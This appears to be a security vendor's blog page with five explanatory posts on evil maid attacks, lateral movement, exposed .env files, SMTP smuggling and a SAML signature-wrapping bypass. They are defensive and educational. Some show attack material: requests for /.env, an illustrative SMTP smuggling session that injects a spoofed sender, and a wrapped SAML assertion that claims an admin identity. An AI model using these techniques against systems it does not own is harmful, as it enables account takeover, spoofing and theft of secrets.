    An evil maid attack is what a stranger can do to your laptop during a few unsupervised minutes while it sits powered off in a hotel room, on a coworking desk, or in a bag handed over at a border checkpoint. The name comes from the picture of a hotel maid who slips into your room, does something to the machine on the desk, and slips out again in the time it takes to change the towels. Full disk encryption keeps the data safe while the device is off, but it does nothing for the code that runs before you type your password, and that gap is exactly where this attack lives.

    How the evil maid attack works

    Picture an invented machine, the Acme laptop, encrypted with full disk encryption and left in a hotel room for the afternoon. The attacker does not need to break the encryption. They need to change what happens the next time you turn the device on.

    The trick is that a small piece of code has to run before the disk can be decrypted. Something must draw the password prompt, take your keystrokes, and hand the key to the disk. That code sits in the firmware and the bootloader, in the early boot chain, and on an unprotected machine it is not itself encrypted, because it is the thing that does the decrypting. It has to be readable to run. So the attacker replaces it.

    They power on the Acme laptop, or boot it from a USB stick, and overwrite the bootloader with a look alike. Their version shows the same password prompt you expect. When you come back, sit down, and type your passphrase, the tampered code captures it, tucks it somewhere on the disk or sends it out over the network, and then quietly hands control to the real boot path so the machine behaves normally. You notice nothing. The attacker returns later, enters the password they stole, and now the encryption that protected the whole disk simply opens for them.

    Encryption answers the question of whether someone can read a disk they stole. It says nothing about whether the machine you are about to log into is still the machine you left behind.

    Why encryption alone does not stop it

    Full disk encryption is built to defend against a lost or stolen device. If the laptop never comes back to you, the attacker holds a locked box and no key, and the design works as intended. The evil maid attack breaks a different assumption. Here the device does come back to you, and you type your password into it yourself.

    Think about what the encryption actually covers. It protects the data at rest, the files on the drive. It cannot protect the code that runs before the drive is decrypted, because that code is what asks you for the key. On a machine with no boot integrity checking, nothing verifies that the password prompt in front of you is the real one. You trust the screen, you type the secret, and a full disk encryption setup has no way to know the screen was swapped. The key exists only in your head until the moment you enter it, and that moment is what the attacker is patient enough to wait for.

    The defenses that actually address it

    The fix is not stronger encryption. It is making tampering with the boot chain either impossible or obvious, and treating your physical control of the device as part of the security model.

    Verify the boot chain

    Secure boot and measured boot are the technical core of the answer. Secure boot checks that each stage of startup is signed by a key the firmware trusts, so a swapped bootloader that is not signed will refuse to run. Measured boot goes further: a Trusted Platform Module, or TPM, records a fingerprint of each component as it loads, and the disk key is released only if those fingerprints match the known good machine. Tamper with the early code and the measurements change, so the TPM will not hand over the key and the tampering is caught before you ever type anything. If you want the mechanics of that signing and measurement, see how secure boot works.

    Add pre boot authentication

    Pre boot authentication puts a secret in front of the boot process itself, so an attacker cannot even reach a normal prompt without something they do not have. Paired with a TPM that expects a specific boot state, it narrows the window in which a fake prompt could be shown to you at all.

    Make tampering visible

    Low tech defenses matter here because the whole attack depends on you not noticing. Tamper evident seals over screws and ports mean that opening the case leaves a mark you can check. Some people photograph the exact pattern of a glitter nail polish blob over a seam, because it is effectively impossible to reproduce. None of this stops a determined attacker, but it turns a silent swap into something you can see.

    Keep the device with you

    The cleanest defense is to deny the physical access the attack requires. Keep the laptop on you rather than in the hotel safe. If it must be left, power it off fully rather than leaving it asleep, so keys are not sitting in memory. And treat any device that was out of your sight, through a border check, a repair counter, or an afternoon in a room, as potentially compromised. Reflash the firmware from a trusted source, or in a high stakes setting, retire the machine rather than trusting it again.

    Where this sits among physical access attacks

    The evil maid attack is one of a family that all start from brief hands on time with your hardware. A cold boot attack pulls encryption keys straight out of RAM in the seconds after power is cut, when the chips still hold their charge. A DMA attack over Thunderbolt reads live memory through a port without ever passing the lock screen. And a BadUSB device pretends to be a keyboard and types commands the moment it is connected. Each one sidesteps encryption by going after the machine while it runs or before it locks, rather than the data sitting still.

    What ties them together is a lesson worth carrying: a threat model that stops at data at rest is only half a model. The other half is the integrity of the device you decrypt and the memory it holds while it runs. That second half is the kind of assumption an autonomous researcher built to test assumptions, rather than match a list of known payloads, is meant to probe. More on how we think about that sits on our about page.

    Frequently asked questions

    What is an evil maid attack?

    It is an attack in which someone gets brief unsupervised physical access to your powered off device and tampers with its boot chain. The tampered code captures your disk encryption password the next time you type it, then the attacker returns to collect the password and decrypt everything.

    Does full disk encryption stop an evil maid attack?

    No. Full disk encryption protects data at rest, which defends a lost or stolen device. It does not protect the bootloader and firmware that run before you type your password, so an attacker who returns the machine to you can swap that early code to steal the password you type.

    How do secure boot and a TPM help?

    Secure boot refuses to run boot code that is not signed by a trusted key. Measured boot with a TPM records a fingerprint of each startup component and releases the disk key only if those fingerprints match the known good machine, so tampering is caught before you enter your passphrase.

    What should I do if my laptop was left unattended?

    Treat it as potentially compromised. Check any tamper evident seals, and if the device was out of your sight at a border check, a repair counter, or a hotel room, reflash its firmware from a trusted source or, in a high stakes setting, stop trusting that machine.

    How can I reduce the risk in practice?

    Keep the device with you, power it off fully rather than leaving it asleep, and turn on secure boot, measured boot, and pre boot authentication. Tamper evident seals make a silent swap visible, and treating any unattended device as suspect closes the gap the attack relies on.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • Lateral Movement: How One Foothold Becomes the Whole Cluster

    Lateral Movement: How One Foothold Becomes the Whole Cluster

    In July 2026 Hugging Face disclosed that an intruder who gained a foothold on a single dataset processing worker escalated to node level access, harvested cloud and cluster credentials, and moved across multiple internal clusters over a weekend. A Cloud Security Alliance post mortem read Hugging Face’s July 2026 disclosure as a textbook case of lateral movement: the break in touched one machine, but what followed turned that one machine into the run of the whole estate. We walk the shape of that problem here on an invented example app, Acme Cluster, and the controls that actually contain it.

    The break in is rarely where the damage comes from

    Most incident write ups spend their energy on the entry: the unpatched service, the leaked token, the phishing click. But a single compromised host is usually a small problem. It becomes a large one because of what the attacker does next, and what they do next is almost always the same move repeated. Land on one machine, read the credentials sitting on it, use those credentials to reach the next machine, and start again.

    The damage scales with how far that loop can travel before something stops it. If the first host holds a credential that opens ten more, and each of those opens ten more, one foothold is the whole cluster within a few hops. The thing worth controlling is not only whether someone gets in. It is how far they get once they are in.

    The entry is a door. The blast radius is the building. Guarding the door while leaving every internal room open is how one worker becomes every cluster.

    What lateral movement actually looks like

    Strip away the tooling and lateral movement is a plain sequence. Consider Acme Cluster, a typical machine learning platform with a fleet of worker nodes, a few internal services, and a cloud account behind them. An attacker gets code execution on one worker, perhaps through a poisoned dependency in a job. From there the steps are boring and reliable:

    • Read what is in reach. Environment variables, files mounted into the container, an on disk cache of tokens. Secrets handed to a process at start up tend to stay readable for the life of that process.
    • Ask the platform who it is. On a cloud host, the instance metadata endpoint hands back the machine’s own role credentials to anything that can make an HTTP request from that host. On a Kubernetes node, a mounted service account token names a workload identity the API server already trusts.
    • Reuse to reach the next hop. Those credentials were minted for the workload, not the person, so they work the same from an attacker’s shell as from the real job. A database password, an internal API key, or a cloud role is now in hand.
    • Repeat. Each new host is searched the same way, and standing trust between services means each hop rarely asks for a fresh proof of identity.

    Two of those credential sources deserve a closer look, because they are where a single host quietly turns into many. The cloud metadata endpoint is covered in our piece on the instance metadata service, and the Kubernetes case in service account token abuse. Both describe the same failure: a credential that a compromised host can read and replay with no extra check.

    Why over scoped and long lived credentials do the real work

    The loop only pays off when the credential it finds is worth more than the host it was found on. Two properties make that true. First, scope: a token that can touch the whole cluster is far more useful than one that can touch a single queue. Second, lifetime: a credential that never expires can be harvested today and used next week, which is exactly what a weekend long intrusion needs. An over scoped, long lived credential sitting on a low value worker is a bridge from that worker to everything the credential can reach.

    Technique matters too, not just theft. Some moves never read a stored secret at all. An NTLM relay forwards a victim’s authentication to a third service in real time, so the attacker moves sideways without ever seeing a password. Same shape, different mechanism: one identity, reused where it should never have reached.

    Containing the blast, not just guarding the door

    If the loop is read, reuse, repeat, then the defenses all aim at breaking one link in it. None of them stop the initial break in, and that is the point. They stop the second host from falling.

    • Least privilege and tightly scoped credentials. The worker that runs a data job needs the one bucket and the one queue for that job, and nothing else. When its token is stolen, the blast radius is that bucket, not the account. Scope is the wall between hops.
    • Short lived over long lived. Swap static keys for credentials that expire in minutes and refresh through the platform. A token harvested from a worker is close to worthless if it dies before the attacker can reach the next host with it.
    • Network segmentation. A worker node has no business opening a raw connection to the billing database or another team’s cluster. Default deny between segments means a foothold can only talk to what its job genuinely needs.
    • Remove standing trust between services. “Any workload inside the network is trusted” is the assumption that turns one hop into all of them. Make every service prove who it is on every call, so a stolen identity is checked, not waved through.

    Notice that these are access control decisions, not intrusion detection ones. Most of them live in the same family as the failures we cover under access control: a system trusting a caller because of where it sits rather than checking what it is allowed to do.

    How do you catch it while it is happening?

    Prevention narrows the blast radius, but you still want to see the loop in motion. The signal is reuse in the wrong place. A worker’s service account normally talks to two endpoints, then suddenly enumerates the whole cluster. A credential minted for a job in one region is used from an address in another. A node identity that has read the same three secrets for months reaches for a fourth it has never touched.

    None of these are malformed requests. Each one is a valid credential used by the wrong hands, which is why the useful detections watch behavior against a baseline rather than scan for bad payloads. Log which identity touched which resource, learn the normal shape per workload, and alert when a credential steps outside the path it has always taken.

    This is the kind of assumption an autonomous researcher is built to probe: not “is there a known payload here” but “does this system trust a caller it has no reason to trust, and can that trust be walked from one host to the next.” In our own early testing, a frontier model drove the full methodology on its own and identified and verified real access control and injection issues in test applications it had not seen before. More of our writing sits under access control and on our about page.

    Frequently asked questions

    What is lateral movement?

    Lateral movement is what an attacker does after the first break in: read the credentials sitting on a compromised host, reuse them to reach the next host, and repeat until they hold the whole environment. The initial entry touches one machine, but this loop is what turns one machine into many.

    Why does blast radius matter more than the initial entry?

    Because a single compromised host is a small problem until the attacker can move off it. If the credentials on that host are tightly scoped and expire quickly, the damage stays contained to one machine. Over scoped, long lived credentials are what let one foothold become the whole cluster.

    How do short lived credentials help?

    A credential that expires in minutes is close to worthless once stolen, because the attacker has to reach the next host before it dies. Long lived static keys can be harvested today and replayed next week, which is exactly what a slow, multi day intrusion needs.

    What credentials do attackers look for on a compromised host?

    Environment variables, secrets mounted into the container, an instance metadata endpoint that returns the host’s cloud role, and a Kubernetes service account token. Each one names an identity the rest of the system already trusts, so it can be replayed to reach further.

    How do you detect lateral movement in progress?

    Watch for a valid credential used in the wrong place: a service account that suddenly enumerates the whole cluster, a token used from an unexpected region, or a node identity reaching for a secret it has never read. The requests are well formed, so detection works off behavior against a baseline, not bad payloads.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • Exposed .env File: How Secrets Leak and How to Recover

    Exposed .env File: How Secrets Leak and How to Recover

    An exposed .env file is one of the fastest ways a working app turns into a breached one. That single file holds the secrets your code needs to run: the database URL, your cloud keys, the API key for your model provider, the signing secret behind your sessions. When a stranger can read it, they do not have to break anything clever. They log in with your own keys. This post walks through how a .env ends up reachable, what an attacker gets from it, how to check your own app, and how to recover once one has leaked.

    The examples use an invented app called Acme Notes, so nothing here points at a real target.

    What is a .env file and why does it matter?

    A .env file is a plain text list of name and value pairs that your app reads at startup. It exists so that secrets live outside your code instead of being pasted into it. A typical one looks like this.

    DATABASE_URL=postgres://acme:s3cr3t@db.internal:5432/acme
    STRIPE_SECRET_KEY=sk_live_51Hxxxxxxxxxxxxxxxxxx
    OPENAI_API_KEY=sk-proj-xxxxxxxxxxxxxxxxxxxxxxxx
    SESSION_SECRET=9f2b7c1a4e8d
    SMTP_PASSWORD=hunter2hunter2

    Every line is a key to something real. The database URL opens your data. The payment key moves money. The model provider key spends your budget. The session secret lets an attacker forge a signed cookie and become any user. This is why the file is meant to stay on the server and never reach a browser, a public repository, or a public bucket. The moment it does, all of those doors open at once.

    How does a .env file get exposed?

    There are two paths that account for most cases, plus a few quieter ones.

    The first is serving it over the web. If the file gets deployed into a public web root, or the web server is willing to hand back dotfiles, then a plain request returns it. An attacker does not guess a password. They ask for the file by name.

    GET /.env HTTP/1.1
    Host: acme-notes.example.com

    If the response is your key list, the app is already compromised and you will not see it in any login log, because nobody logged in. They read a file.

    The second path is git. Someone commits the .env before adding it to .gitignore, then pushes to a repository that is public, or private now and public later. Deleting the file in a later commit does not help, because git keeps history. The secret still sits in an old commit that anyone can check out. A repository that went public for one hour is a repository whose entire history is public forever.

    The quieter paths matter too. A .env can leak through a storage bucket that was set to public, through a JavaScript source map that bundles server config by mistake, through a Docker image layer where the file was copied in and never removed, or through a backup archive left in a reachable folder. Same file, different door.

    Deleting a leaked secret does not un leak it. Once a value has left your control, the only safe assumption is that a stranger has a copy.

    Why does an exposed .env file happen so often in AI built apps?

    Because the fast path skips the safe step. When you build with an AI coding tool or an app generator, the generator writes your secrets straight into a .env for you, which is correct. What it usually does not do is wire up the deployment so that file stays private. Tutorials say “just deploy” and move on. The step where you add .env to .gitignore before the first commit gets skipped, because the first commit felt like a formality. The result is an exposed .env file sitting one request or one git clone away from anyone who looks.

    This is the same shape as other secret leaks in quickly built apps. It is a cousin of hardcoded API keys in the frontend, where the secret ships inside the browser bundle instead. Both come from the same habit: treating a secret like configuration instead of like a live credential. For the wider picture, the vibe coded app security hub maps the five failure shapes that keep showing up, and this is one of them. It also sits squarely in the access control category, because a leaked key is an access control failure that skipped the front door entirely.

    The stakes are not abstract. A leaked model provider key lets an attacker run their own traffic on your account until the bill arrives, which is the same money drain covered in denial of wallet. A leaked database URL hands over every row. A leaked cloud key can spin up servers in your name.

    How do you check your own app?

    Three checks, all read only, all on an app you own.

    • Request the file over the web. From a browser or with curl, ask for /.env on your own domain, then try the common variants: /.env.local, /.env.production, /.env.bak, and /env. Anything other than a clean not found is a problem.
    • Grep your git history. The file can be gone from your working tree and still live in an old commit. Search the whole history, not just the current files.
    • Scan the repository with a secret scanner. A tool that walks every commit will flag keys you forgot were ever there, including ones in files that are not named .env.

    The git history check is the one people miss. A single command reads the past.

    git log --all --full-history -- .env
    git log -p --all -S 'sk_live_'

    If either returns a commit, that secret has been in your history and must be treated as leaked, even if the file is deleted today.

    How do you fix it and recover?

    Fixing the leak and recovering from it are two different jobs. Do both.

    Stop serving the file. The .env should never sit in the web root in the first place. Keep it outside the folder your web server publishes, and configure the server to deny dotfiles so a request for /.env returns nothing. Better still, move secrets into your platform’s secret manager and stop shipping a file at all.

    Keep it out of git from the first commit. Add these lines to .gitignore before you commit anything, and commit an example file with blank values so teammates know which keys exist.

    .env
    .env.*
    !.env.example

    Rotate every secret that was ever exposed. This is the part that gets skipped, and it is the part that matters most. Deleting the file, making the repository private, or force pushing a cleaner history does not help you, because a copy may already be gone. Every key that appeared in an exposed .env file has to be regenerated at its source: new database password, new payment key, new model provider key, new session secret, new SMTP password. Until you rotate, the old keys still work for whoever grabbed them.

    Rotation is uncomfortable because it means touching live services, but a deleted secret that still works is not fixed. It is just hidden from you.

    What should you take away?

    A .env leak is a quiet failure. No alarm fires, the app keeps working, and the only sign is a request for a file that should never have answered. That is exactly the kind of assumption an autonomous researcher is built to test: does the server hand back what it should keep, and does an old key still open a door. In our own early work, a frontier model drove the full methodology on its own and identified and verified real access control and injection issues in test applications it had not seen before. If checking your own assumptions before an attacker does sounds useful, you can read more about UnboundCompute.

    Frequently asked questions

    What is an exposed .env file?

    It is a .env file holding your app’s secrets that has become reachable by someone who should not see it. The two common paths are the file being served over the web, so a request for /.env returns it, and the file being committed to a git repository that is or becomes public. Either way an attacker reads your keys without breaking in.

    What can an attacker do with a leaked .env?

    Whatever the keys allow. A database URL opens your data, a payment key can move money, a model provider key spends your budget, and a session secret lets an attacker forge signed cookies and act as any user. Because these are live credentials, the attacker skips the login screen entirely and there is no failed login to alert you.

    I deleted my .env from git. Am I safe?

    No. Git keeps history, so the secret still lives in the old commit even after you delete the file. Anyone who cloned the repository, or who reads a public history, still has the values. Deletion does not un leak a secret. You have to rotate every key that was ever committed.

    How do I check if my .env is reachable over the web?

    From a browser or with curl, request /.env on your own domain and try the common variants like /.env.local, /.env.production, and /.env.bak. Only test an app you own. Anything other than a clean not found means the file is being served and the app is already exposed.

    How do I keep a .env out of git?

    Add the file to .gitignore before your first commit, using lines like .env and .env.* while keeping an .env.example with blank values so teammates know which keys exist. If a secret has already been committed, scan the full history with a secret scanner and treat every value it finds as leaked.

    What is the single most important recovery step?

    Rotate every secret that was ever exposed. Regenerate the database password, payment key, model provider key, session secret, and any other value at its source. Until you rotate, the old keys still work for whoever grabbed a copy, so a deleted or hidden secret is not a fixed one.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

    Try it yourself: Secret Scanner lets you paste a file or diff and see what credentials it exposes. It runs entirely in your browser, with no signup, and nothing you paste is ever uploaded.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • SMTP Smuggling: The Email Spoof That Rides Past SPF, DKIM, and DMARC

    SMTP Smuggling: The Email Spoof That Rides Past SPF, DKIM, and DMARC

    SMTP smuggling is an email spoofing technique that slips a second, forged message past SPF, DKIM, and DMARC by exploiting a disagreement between two mail servers about where a message actually ends. It was disclosed in December 2023 by researcher Timo Longin, working with SEC Consult, and it earned a reputation as uncommon but popular: rare in the wild, yet widely studied, because it defeats the exact controls built to stop spoofing. The trick is not that it breaks those checks. It is that the sending server and the receiving server read one byte stream two different ways, and the attacker lives in the gap between the two readings.

    Where a message is supposed to end

    To see the bug you have to see the protocol. When one mail server hands a message to another, it opens a session and issues the DATA command. Everything typed after that is the message body. The body finishes with a specific marker: a carriage return and line feed, then a single dot on a line by itself, then another carriage return and line feed. On the wire that is <CR><LF>.<CR><LF>. The receiving server watches for exactly that sequence. When it sees the lone dot, it knows the body is over and it accepts the message.

    The standard is precise about this. The problem is that the world is not. Some servers, trying to be forgiving of clients that send slightly malformed line endings, also treat non standard variants as an end of data marker. A bare line feed with a dot, written <LF>.<LF>, or a lone carriage return version, <CR>.<CR>, might be accepted as the end of the body even though it is not the sequence the standard names. One server is strict. Another is lenient. That difference is the whole attack.

    The message never changes on the wire. What changes is where each server decides it stopped, and an attacker who controls that split controls what the receiver thinks was sent.

    How SMTP smuggling turns one message into two

    Here is the mechanism in plain terms, using invented hosts. An attacker has a normal, authenticated account on an outbound provider, call it send.example. They compose a message to a victim domain served by receive.example. The visible message looks harmless. But buried in the body, the attacker places a sequence that the outbound server does not recognise as the end of data, while the inbound server does.

    Because the outbound server does not see an end marker there, it keeps treating everything as body text and forwards the entire blob over its trusted, already authenticated connection to receive.example. The inbound server, being lenient, reads that same non standard sequence as a real end of data. It closes off the first message, then starts reading what follows as a brand new SMTP conversation on the same connection. That second conversation is fully attacker written. It can name any MAIL FROM sender it likes.

    A stripped down, clearly sanitized illustration of the idea, not a working payload:

    MAIL FROM:<attacker@send.example>
    RCPT TO:<victim@receive.example>
    DATA
    Subject: a normal looking first message
    
    Nothing to see here.
    [a NON STANDARD end sequence the sender ignores
     but the receiver treats as end of data]
    MAIL FROM:<ceo@trusted-brand.example>
    RCPT TO:<victim@receive.example>
    DATA
    Subject: please approve this transfer
    
    This is the smuggled message.
    <CR><LF>.<CR><LF>

    The outbound server sees one message with a slightly odd body. The inbound server sees two messages: the innocent one, and then a second one that claims to come from ceo@trusted-brand.example. Nobody forged a cryptographic signature. The two parsers simply disagreed on where the first message ended, and the attacker wrote their forgery into the space that disagreement created.

    Why the smuggled message inherits trust

    This is the part that makes SMTP smuggling matter. SPF, DKIM, and DMARC all answer one question: did this message come from a server authorized to send for its claimed domain? SPF checks the connecting IP against the sending domain’s published list. DKIM checks a signature. DMARC ties the two together and tells the receiver what to do on failure.

    The smuggled message rides in on the outbound provider’s own connection, from the outbound provider’s own IP, inside a session the provider already authenticated for the attacker’s legitimate account. So when the inbound server evaluates that second message, the connection it arrived on belongs to a well known, authorized sender. The checks look at the trusted infrastructure the message rode in on and pass it. The forgery inherits the reputation of the connection it was smuggled through. The controls did their job correctly on the wrong message, because they were never told a second message existed.

    The email cousin of HTTP request smuggling

    If this shape feels familiar, it should. It is a parser differential attack: two parsers, one stream, two interpretations. That is exactly the pattern behind HTTP request smuggling, the parser differential cousin, where a front end and a back end disagree about where one HTTP request ends and the next begins. Same idea, different protocol. In HTTP the disagreement is over content length and chunk framing. In SMTP the disagreement is over the end of data marker. In both, an attacker who understands the boundary better than the servers do can hide a whole second message in the seam.

    How to detect SMTP smuggling exposure

    You detect this by testing your own parsing, not by watching for a signature.

    • Probe the end of data handling. In a controlled test, send messages whose bodies contain bare <LF>.<LF> and lone <CR>.<CR> sequences. A standards compliant receiver should treat only <CR><LF>.<CR><LF> as end of data and should never split the stream on the non standard variants.
    • Watch for phantom second messages. If a single inbound session ever yields a second MAIL FROM that your outbound path did not intend, that split is the fingerprint of the bug.
    • Look for authentication that passes on impossible senders. A message that passes SPF and DMARC while claiming a sender that has nothing to do with the connecting infrastructure is worth a hard look.
    • Compare outbound and inbound behavior side by side. The vulnerability only exists when your sender and your receiver disagree. Test them against the same set of odd line endings and see if their answers match.

    How to fix it

    The fix is alignment and strictness. Neither server should be creative about where a message ends.

    • Parse the end of data marker strictly. Accept only the standard <CR><LF>.<CR><LF> sequence as the terminator. Do not treat bare line feed or lone carriage return dot sequences as end of data.
    • Reject or normalise malformed line endings. A message that mixes bare <LF> or lone <CR> into its framing is either broken or hostile. Normalise it to the standard form before any parsing decision, or refuse it outright.
    • Align outbound and inbound handling. The bug is a disagreement. If the server that sends and the server that receives apply the same strict rule, there is no gap to hide in.
    • Take the provider side fixes. After disclosure, major email providers were found affected and updated their parsers. Keep your mail infrastructure patched, because the durable fix lives in the servers that frame and unframe the message.

    Notice that none of these fixes touch SPF, DKIM, or DMARC. Those controls were never the weak point. The weak point was an assumption underneath them: that the sending server and the receiving server agree on what a message even is. Fix the framing and the authentication starts guarding the right message again.

    That gap between two parsers is the kind of thing an attacker finds by questioning an assumption everyone treated as settled. UnboundCompute is an autonomous security researcher built to do exactly that, to test the assumptions a system makes rather than replay a fixed list of payloads, and in this case the assumption is a quiet one: that two parsers reading the same stream will always agree on where it ends. You can read more about that approach on our about page.

    Frequently asked questions

    What is SMTP smuggling?

    It is an email spoofing technique that hides a second, forged message inside a first one by exploiting a disagreement between two mail servers about where a message ends, letting the forged message ride a trusted, already authenticated connection.

    How does it get past SPF, DKIM, and DMARC?

    It does not break those checks. The smuggled message arrives on the outbound provider’s authenticated connection and IP, so the checks evaluate trusted infrastructure and pass a message they never knew was there.

    How is it like HTTP request smuggling?

    Both are parser differential attacks: two parsers read one stream and split it differently. In HTTP the disagreement is over where one request ends, in SMTP it is over the end of data marker that closes a message body.

    How do you prevent SMTP smuggling?

    Parse the end of data marker strictly, accepting only the standard sequence, reject or normalise bare line feed and lone carriage return variants, and align outbound and inbound handling so there is no gap to hide a second message in.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • The SAML Authentication Bypass Behind SAP NetWeaver

    The SAML Authentication Bypass Behind SAP NetWeaver

    On SAP Security Patch Day, June 9 2026, SAP shipped Security Note 3746332 for CVE-2026-44748, a CVSS 9.9 flaw in SAP NetWeaver Application Server ABAP that opens a full SAML authentication bypass. The root cause is filed as CWE-347, improper verification of a cryptographic signature, and the mechanism is a classic that keeps coming back: XML Signature Wrapping. An attacker takes a genuine, correctly signed login assertion and rearranges the document so the server checks the signature over one part while reading the user’s identity from another. There was no confirmed exploitation in the wild at disclosure, but the pattern is worth understanding because it defeats a signature check without ever breaking the signature.

    What a SAML assertion actually promises

    SAML is how one system tells another “I already logged this person in, and they are who they say.” The system that checks credentials is the Identity Provider (IdP). The system that grants access is the Service Provider (SP). When you sign in to a company dashboard through single sign on, the IdP builds an XML document called an assertion that says, in effect, this subject is alice@acme.com, valid until this time, for this audience. The IdP signs that XML with its private key. The SP holds the IdP’s public key and verifies the signature. If it checks out, the SP trusts the identity inside and creates a session.

    The whole model rests on one belief: if the signature is valid, then the identity the SP reads is the identity the IdP vouched for. That link between what was signed and what is read is the only thing standing between a visitor and any account. If you have not thought about how signing and reading can drift apart, our note on authentication vs authorization is a useful warm up, because this bug lives entirely on the authentication side.

    How the signature points at what it covers

    An XML Signature does not sign the whole document by default. It signs specific elements, named by an ID, through a <Reference URI="#..."> inside the <Signature> block. The verifier follows that reference, canonicalizes the target element, and checks the digest. So the signature says “I cover the element with this ID.” Nothing forces the rest of the code to then read identity from that same element. That gap is where the trouble starts.

    The XML Signature Wrapping move behind the SAML authentication bypass

    Picture a made up IdP and SP pair, “Acme SSO.” A legitimate assertion for a low privilege user might look like this, trimmed for clarity:

    <Response>
      <Assertion ID="A">
        <Subject><NameID>guest@acme.com</NameID></Subject>
      </Assertion>
      <Signature>
        <Reference URI="#A"/>   <!-- signs the element with ID "A" -->
        ...
      </Signature>
    </Response>

    An attacker who can capture any one valid assertion, even their own low privilege login, now has a signature they cannot forge but can move. They keep the signed Assertion ID="A" intact so the signature still validates, then they inject a second, unsigned assertion carrying the identity they want:

    <Response>
      <Assertion ID="EVIL">
        <Subject><NameID>admin@acme.com</NameID></Subject>
      </Assertion>
      <Assertion ID="A">
        <Subject><NameID>guest@acme.com</NameID></Subject>
        <Signature>
          <Reference URI="#A"/>   <!-- still valid over "A" -->
          ...
        </Signature>
      </Assertion>
    </Response>

    Now two things happen in the SP, and they look at different elements. The signature layer walks the Reference URI="#A", finds the original signed assertion, canonicalizes it, and the digest matches. Signature valid. A separate piece of code then asks “which assertion do I use for identity?” and, because of how it queries the parsed tree, grabs the first Assertion it finds, or the one nearest the document root, which is now ID="EVIL". It reads admin@acme.com. The signature was real, the identity was not, and nothing in the flow noticed that the verified element and the consumed element were two different things.

    The attacker never breaks the signature. They break the assumption that the signed element and the element the server actually reads are the same one.

    The variations are all the same idea: move the signed element into a wrapper, bury it, or reference it by an ID that the identity reader resolves differently than the signature verifier does. XML is flexible about structure and ID resolution, and that flexibility is exactly what lets the two lookups disagree. If you want the deeper protocol walk through, we cover the variants in SAML signature wrapping.

    How to spot it

    You are looking for any place where signature verification and identity extraction are decoupled. A few concrete checks:

    • Count the assertions. A well formed response has one assertion in play. If a parsed message contains more than one Assertion, or more than one Subject, treat it as hostile rather than picking a winner.
    • Compare the two elements by identity, not by value. After verification, confirm that the exact node whose signature you checked is the same node object you then read NameID from. Not an element with the same ID, the same one.
    • Watch for reference by string search. Code that finds the assertion with getElementsByTagName("Assertion")[0] or an XPath that returns the first match is reading position, not the signed target. That is the classic wrapping foothold.
    • Log signed IDs against consumed IDs. In real time, record which ID the signature covered and which element supplied the identity. If they ever differ, you have either a bug or an attack.

    How to prevent it

    The fix is to force the signed element and the consumed element to be one and the same, and to remove the ambiguity that lets a document contain a decoy.

    • Validate that the signature covers the exact element you consume. Extract identity only from the node that verification returned as signed. Never re query the document for “an assertion” afterward.
    • Use schema aware and position aware validation. Validate the message against a strict schema before trust decisions, and reject any structure that adds elements the schema does not expect or places them where they do not belong.
    • Reference by a canonicalized ID and pin resolution. Make sure the ID the signature resolves and the ID the identity reader resolves use the same rules, so an injected ID="EVIL" cannot win a second lookup.
    • Reject assertions whose signed element is not the one used. If the message carries more than one assertion, or the signed element is not the top level assertion you act on, fail closed.
    • Prefer a well tested SAML library and mark the IdP public keys. Pin the exact keys you accept, and lean on libraries that have already been hardened against wrapping rather than hand rolling XML verification.

    CVE-2026-44748 is a reminder that “the signature is valid” is not the same claim as “this identity is the one that was signed.” Improper verification of a cryptographic signature, CWE-347, is rarely a broken crypto primitive. It is almost always this drift between what was checked and what was trusted, and it hides in the seam between two functions that each look correct alone. This is exactly the kind of assumption an autonomous researcher that tests how an application actually reads a request, and proves the finding with evidence, is built to surface. More on that approach on our about page.

    Frequently asked questions

    What is a SAML authentication bypass?

    It is an attack where a valid signed SAML assertion is rearranged so the service provider checks the signature over one element but reads the user’s identity from a different, attacker added element. The signature is real, the identity is forged.

    What is XML Signature Wrapping?

    It is the technique behind the bypass. The attacker keeps a genuinely signed element intact so the signature still validates, then injects a second unsigned assertion in the spot where the identity reader looks first.

    Does it break the cryptographic signature?

    No. The signature stays valid over the original element. The flaw is that the verified element and the consumed element are not the same one, so a real signature ends up vouching for an identity it never covered.

    How do you prevent it?

    Read identity only from the exact node the signature verified, reject any message that carries more than one assertion, validate against a strict schema before trusting structure, and use a well tested SAML library instead of hand rolled XML checks.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.